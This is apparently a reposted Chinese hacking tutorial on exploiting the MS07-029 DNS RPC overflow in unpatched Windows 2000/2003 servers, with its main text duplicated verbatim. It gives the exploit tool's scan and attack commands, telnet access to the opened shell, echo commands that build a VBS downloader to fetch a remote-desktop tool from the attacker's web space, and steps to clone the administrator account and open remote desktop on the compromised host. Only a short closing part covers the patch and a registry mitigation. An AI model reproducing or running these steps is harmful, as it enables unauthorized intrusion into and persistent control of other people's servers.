MS07-029漏洞利用入侵过程
程序员文章站
2022-03-29 11:07:12
前言:
MS07-029,Windows 域名系统 (DNS) 服务器服务的远程过程调用 (RPC) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁,开启DNS服务的所有版本WINDOWS 2000 Serve... 08-10-08...
前言:
ms07-029,windows 域名系统 (dns) 服务器服务的远程过程调用 (rpc) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁,开启dns服务的所有版本windows 2000 server和windows 2003 server。
今天,就让我带领各路英豪,踏上dns exp之路。
我们先来看看所用工具的界面:
这就是传说中的利用工具,可以通杀2000sever,2003sever系统,另外还具备了扫描功能!
先用它来对主机进行扫描:
在我们的命令行下输入:“dns –s 目标ip地址”
稍等片刻,开放的端口以及操作系统以出现在我们面前,如果出现了如上图所显示的“1029:vulnerability”那么恭喜你,你马上就会成功得到这台主机的权限了
上图意思就是1029端口存在漏洞。
现在我们来最关键的步骤――溢出:
在命令行内输入
dns -2003chs *.*.93.189 1029
其中-2003ch的意思是操作系统的型号,-2003chs即简体中文版的2003系统,
如果是2000的系统就使用“-2000all”参数,*.*.93.189就是我们的目标ip地址,1029就是刚才扫描出存在漏洞的端口”。
出现“attack sent ,check port 1100”字样,说明已经打开了目标地址的1100端口,我们telnet上去:telnet *.*.93.189 1100
我们现在已经成功的入侵了对方的电脑,并且得到了管理员的权限。
下面我给大家介绍一下如何在肉鸡上面开3389,
在命令行里输入
@echo with wscript:if .arguments.count^ tony.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> tony.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "error:" web.status:.quit >> tony.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> tony.vbs
大概的意思就是在命令行创立一个用来下载的vbs脚本tony.vbs
然后把开3389的工具上传到你的个人空间,
我这里用的是火狐开3389的工具,在命令行里输入 cscript tony.vbs http://你空间地址/wrsky.exe c:\wrsky.exe
“wrsky.exe -c”可以克隆当前管理员帐号
再输入“c:\wrsky.exe -o 3551”
意思就是打开对方的远程桌面服务,并且使用3551端口。
用“wrsky.exe -k”可以检查3389是否开启,开启以后输入“wrsky.exe -r”,对方的电脑就自动重启以后就可以连接上去了。
在运行里输入"mstsc",登陆上去。
那熟悉而又亲切的画面出现在我们面前了。
如果是2k的系统,还有一个更加傻瓜化的工具open3389,直接运行就可以了,不需要任何参数,不过对方电脑会马上重启。
另外我还放了其他两个dns利用工具和一篇zwell的精华文章在光盘里,有兴趣的朋友可以自己研究。
这个漏洞的危害是是分巨大的,目前利用dns服务rpc漏洞传播的蠕虫病毒vanbot已经出现,变种已经开始疯狂传播。
win 2k或2003的朋友请赶快下载补丁
http://www.microsoft.com/china/technet/security/bulletin/ms07-029.mspx
或者打开记事本,输入:
windows registry editor version 5.00
[hkey_local_machine\system\currentcontrolset\services\dns\parameters]
"rpcprotocol"=dword:00000004
保存为扩展名为 .reg 的文件,双击导入,再重新启动 dns 服务即可。
ms07-029,windows 域名系统 (dns) 服务器服务的远程过程调用 (rpc) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁,开启dns服务的所有版本windows 2000 server和windows 2003 server。
今天,就让我带领各路英豪,踏上dns exp之路。
我们先来看看所用工具的界面:
这就是传说中的利用工具,可以通杀2000sever,2003sever系统,另外还具备了扫描功能!
先用它来对主机进行扫描:
在我们的命令行下输入:“dns –s 目标ip地址”
稍等片刻,开放的端口以及操作系统以出现在我们面前,如果出现了如上图所显示的“1029:vulnerability”那么恭喜你,你马上就会成功得到这台主机的权限了
上图意思就是1029端口存在漏洞。
现在我们来最关键的步骤――溢出:
在命令行内输入
dns -2003chs *.*.93.189 1029
其中-2003ch的意思是操作系统的型号,-2003chs即简体中文版的2003系统,
如果是2000的系统就使用“-2000all”参数,*.*.93.189就是我们的目标ip地址,1029就是刚才扫描出存在漏洞的端口”。
出现“attack sent ,check port 1100”字样,说明已经打开了目标地址的1100端口,我们telnet上去:telnet *.*.93.189 1100
我们现在已经成功的入侵了对方的电脑,并且得到了管理员的权限。
下面我给大家介绍一下如何在肉鸡上面开3389,
在命令行里输入
@echo with wscript:if .arguments.count^ tony.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> tony.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "error:" web.status:.quit >> tony.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> tony.vbs
大概的意思就是在命令行创立一个用来下载的vbs脚本tony.vbs
然后把开3389的工具上传到你的个人空间,
我这里用的是火狐开3389的工具,在命令行里输入 cscript tony.vbs http://你空间地址/wrsky.exe c:\wrsky.exe
“wrsky.exe -c”可以克隆当前管理员帐号
再输入“c:\wrsky.exe -o 3551”
意思就是打开对方的远程桌面服务,并且使用3551端口。
用“wrsky.exe -k”可以检查3389是否开启,开启以后输入“wrsky.exe -r”,对方的电脑就自动重启以后就可以连接上去了。
在运行里输入"mstsc",登陆上去。
那熟悉而又亲切的画面出现在我们面前了。
如果是2k的系统,还有一个更加傻瓜化的工具open3389,直接运行就可以了,不需要任何参数,不过对方电脑会马上重启。
另外我还放了其他两个dns利用工具和一篇zwell的精华文章在光盘里,有兴趣的朋友可以自己研究。
这个漏洞的危害是是分巨大的,目前利用dns服务rpc漏洞传播的蠕虫病毒vanbot已经出现,变种已经开始疯狂传播。
win 2k或2003的朋友请赶快下载补丁
http://www.microsoft.com/china/technet/security/bulletin/ms07-029.mspx
或者打开记事本,输入:
windows registry editor version 5.00
[hkey_local_machine\system\currentcontrolset\services\dns\parameters]
"rpcprotocol"=dword:00000004
保存为扩展名为 .reg 的文件,双击导入,再重新启动 dns 服务即可。
下一篇: 平面设计中相近性的应用技巧